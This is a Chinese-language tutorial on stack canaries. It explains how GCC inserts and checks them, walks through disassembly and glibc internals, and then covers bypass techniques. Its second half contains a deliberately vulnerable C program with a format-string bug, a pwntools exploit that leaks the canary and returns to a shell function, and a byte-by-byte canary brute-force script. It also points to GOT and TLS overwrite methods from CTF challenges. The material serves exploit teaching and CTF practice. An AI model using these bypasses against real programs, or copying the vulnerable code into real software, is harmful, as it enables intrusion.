介绍 Stack Canaries(取名自地下煤矿的金丝雀，因为它能比矿工更早地发现煤气泄漏，有预警的作用)是一种用于对抗栈溢出攻击的技术，即SSP安全机制，有时也叫作Stack cookie。Canary 的值是栈上的一个随机数，在程序启动时随机生成并保存在比函数返回地址更低的位置。由干栈溢出从低地址向高地址进行覆盖，因此攻击者要想控制函数的返回指针，就一定要先盖到Canary。程序只需要在函数返回前检查Canary是否被篡改，就可以达到保护的目的。
示例 简单程序 c #include<stdio.h> void main(){ char buf[10]; scanf("%s",buf); }
在 GCC 中使用 Canary 可以在 GCC 中使用以下参数设置 Canary:
plaintext -fstack-protector 启用保护，不过只为局部变量中含有数组的函数插入保护 -fstack-protector-all 启用保护，为所有函数插入保护 -fstack-protector-strong 增加对包含局部数组定义和地址引用的函数的保护 -fstack-protector-explicit 只对有明确 stack_protect attribute 的函数开启保护 -fno-stack-protector 禁用保护 # 无栈保护 $ gcc -fno-stack-protector canary.c -o fno.out #gcc -fno-stack-protector -o no_canary canary.c $ python -c 'print("A"*30)' | ./fno.out $ Segmentation fault (core dumped) # 基础/最强栈保护 $ gcc -fstack-protector -o with_canary canary.c(gcc -fstack-protector-strong -o strong_canary canary.c) #gcc -fstack-protector canary.c -o f.out $ python -c 'print("A"*30)' | ./f.out $ *** stack smashing detected ***: terminated Aborted (core dumped) plaintext # 编译带canary保护的版本 gcc -fstack-protector -o with_canary canary.c # 检查文件是否生成 ls -l with_canary -rwxr-xr-x 1 ubuntu ubuntu 16024 Jun 30 16:13 with_canary gdb -q ./with_canary -ex "disassemble main" -ex "q" Dump of assembler code for function main: 0x0000000000001169 <+0>: endbr64 0x000000000000116d <+4>: push rbp 0x000000000000116e <+5>: mov rbp,rsp 0x0000000000001171 <+8>: sub rsp,0x20 `0x0000000000001175 <+12>: mov rax,QWORD PTR fs:0x28` `0x000000000000117e <+21>: mov QWORD PTR [rbp-0x8],rax` 0x0000000000001182 <+25>: xor eax,eax 0x0000000000001184 <+27>: lea rax,[rbp-0x12] 0x0000000000001188 <+31>: mov rsi,rax 0x000000000000118b <+34>: lea rax,[rip+0xe72] # 0x2004 0x0000000000001192 <+41>: mov rdi,rax 0x0000000000001195 <+44>: mov eax,0x0 0x000000000000119a <+49>: call 0x1070 <__isoc99_scanf@plt> 0x000000000000119f <+54>: nop `0x00000000000011a0 <+55>: mov rax,QWORD PTR [rbp-0x8]` `0x00000000000011a4 <+59>: sub rax,QWORD PTR fs:0x28` `0x00000000000011ad <+68>: je 0x11b4 <main+75>` `0x00000000000011af <+70>: call 0x1060 <__stack_chk_fail@plt>` 0x00000000000011b4 <+75>: leave 0x00000000000011b5 <+76>: ret End of assembler dump.
Canary 实现原理 开启 Canary 保护的 stack 结构大概如下：
plaintext High Address | | +-----------------+ | args | +-----------------+ | return address | +-----------------+ rbp => | old ebp | +-----------------+ rbp-8 => | canary value | +-----------------+ | local variables | Low | | Address
当程序启用 Canary 编译后，在函数序言部分会取 fs 寄存器 0x28 处的值，存放在栈中 %ebp-0x8 的位置。 这个操作即为向栈中插入 Canary 值，代码如下：
plaintext mov rax, qword ptr fs:[0x28] mov qword ptr [rbp - 8], rax
在函数返回之前，会将该值取出，并与 fs:0x28 的值进行异或。如果异或的结果为 0，说明 Canary 未被修改，函数会正常返回，这个操作即为检测是否发生栈溢出。
plaintext mov rdx,QWORD PTR [rbp-0x8] xor rdx,QWORD PTR fs:0x28 je 0x4005d7 <main+65> call 0x400460 <__stack_chk_fail@plt>
如果 Canary 已经被非法修改，此时程序流程会走到 __stack_chk_fail。__stack_chk_fail 也是位于 glibc 中的函数，默认情况下经过 ELF 的延迟绑定，定义如下。
plaintext eglibc-2.19/debug/stack_chk_fail.c void __attribute__ ((noreturn)) __stack_chk_fail (void) { __fortify_fail ("stack smashing detected"); } void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg) { /* The loop is added only to keep gcc happy. */ while (1) __libc_message (2, "*** %s ***: %s terminated\n", msg, __libc_argv[0] ?: "<unknown>"); }
这意味可以通过劫持 __stack_chk_fail 的 got 值劫持流程或者利用 __stack_chk_fail 泄漏内容 (参见 stack smash)。
进一步，对于 Linux 来说，fs 寄存器实际指向的是当前栈的 TLS 结构，fs:0x28 指向的正是 stack_guard。
plaintext typedef struct { void *tcb; /* Pointer to the TCB. Not necessarily the thread descriptor used by libpthread. */ dtv_t *dtv; void *self; /* Pointer to the thread descriptor. */ int multiple_threads; uintptr_t sysinfo; uintptr_t stack_guard; ... } tcbhead_t;
如果存在溢出可以覆盖位于 TLS 中保存的 Canary 值那么就可以实现绕过保护机制。
事实上，TLS 中的值由函数 security_init 进行初始化。
plaintext static void security_init (void) { // _dl_random的值在进入这个函数的时候就已经由kernel写入. // glibc直接使用了_dl_random的值并没有给赋值 // 如果不采用这种模式, glibc也可以自己产生随机数 //将_dl_random的最后一个字节设置为0x0 uintptr_t stack_chk_guard = _dl_setup_stack_chk_guard (_dl_random); // 设置Canary的值到TLS中 THREAD_SET_STACK_GUARD (stack_chk_guard); _dl_random = NULL; } //THREAD_SET_STACK_GUARD宏用于设置TLS #define THREAD_SET_STACK_GUARD(value) \ THREAD_SETMEM (THREAD_SELF, header.stack_guard, value)
Canary 绕过技术 序言 Canary 是一种十分有效的解决栈溢出问题的漏洞缓解措施。但是并不意味着 Canary 就能够阻止所有的栈溢出利用，在这里给出了常见的存在 Canary 的栈溢出利用思路，请注意每种方法都有特定的环境要求。
泄露栈中的 Canary Canary 设计为以字节 \x00 结尾，本意是为了保证 Canary 可以截断字符串。 泄露栈中的 Canary 的思路是覆盖 Canary 的低字节，来打印出剩余的 Canary 部分。 这种利用方式需要存在合适的输出函数，并且可能需要第一溢出泄露 Canary，之后再次溢出控制执行流程。
利用示例 存在漏洞的示例源代码如下:
plaintext // ex2.c #include <stdio.h> #include <unistd.h> #include <stdlib.h> #include <string.h> void getshell(void) { system("/bin/sh"); } void init() { setbuf(stdin, NULL); setbuf(stdout, NULL); setbuf(stderr, NULL); } void vuln() { char buf[100]; for(int i=0;i<2;i++){ read(0, buf, 0x200); printf(buf); } } int main(void) { init(); puts("Hello Hacker!"); vuln(); return 0; }
编译为 32bit 程序并关闭 PIE 保护 （默认开启 NX，ASLR，Canary 保护）
plaintext $ gcc -m32 -no-pie ex2.c -o ex2
首先通过覆盖 Canary 最后一个 \x00 字节来打印出 4 位的 Canary 之后，计算好偏移，将 Canary 填入到相应的溢出位置，实现 Ret 到 getshell 函数中
plaintext #!/usr/bin/env python from pwn import * context.binary = 'ex2' #context.log_level = 'debug' io = process('./ex2') get_shell = ELF("./ex2").sym["getshell"] io.recvuntil("Hello Hacker!\n") # leak Canary payload = "A"*100 io.sendline(payload) io.recvuntil("A"*100) Canary = u32(io.recv(4))-0xa log.info("Canary:"+hex(Canary)) # Bypass Canary payload = "\x90"*100+p32(Canary)+"\x90"*12+p32(get_shell) io.send(payload) io.recv() io.interactive()
one-by-one 爆破 Canary 对于 Canary，虽然每次进程重启后的 Canary 不同 (相比 GS，GS 重启后是相同的)，但是同一个进程中的不同线程的 Canary 是相同的， 并且 通过 fork 函数创建的子进程的 Canary 也是相同的，因为 fork 函数会直接拷贝父进程的内存。我们可以利用这样的特点，彻底逐个字节将 Canary 爆破出来。 在著名的 offset2libc 绕过 linux64bit 的所有保护的文章中，作者就是利用这样的方式爆破得到的 Canary: 这是爆破的 Python 代码:
plaintext print "[+] Brute forcing stack canary " start = len(p) stop = len(p)+8 while len(p) < stop: for i in xrange(0,256): res = send2server(p + chr(i)) if res != "": p = p + chr(i) #print "\t[+] Byte found 0x%02x" % i break if i == 255: print "[-] Exploit failed" sys.exit(-1) canary = p[stop:start-1:-1].encode("hex") print " [+] SSP value is 0x%s" % canary
劫持__stack_chk_fail 函数 已知 Canary 失败的处理逻辑会进入到 __stack_chk_failed 函数，__stack_chk_failed 函数是一个普通的延迟绑定函数，可以通过修改 GOT 表劫持这个函数。
参见 ZCTF2017 Login，利用方式是通过 fsb 漏洞篡改 __stack_chk_fail 的 GOT 表，再进行 ROP 利用
覆盖 TLS 中储存的 Canary 值 已知 Canary 储存在 TLS 中，在函数返回前会使用这个值进行对比。当溢出尺寸较大时，可以同时覆盖栈上储存的 Canary 和 TLS 储存的 Canary 实现绕过。
参见 StarCTF2018 babystack
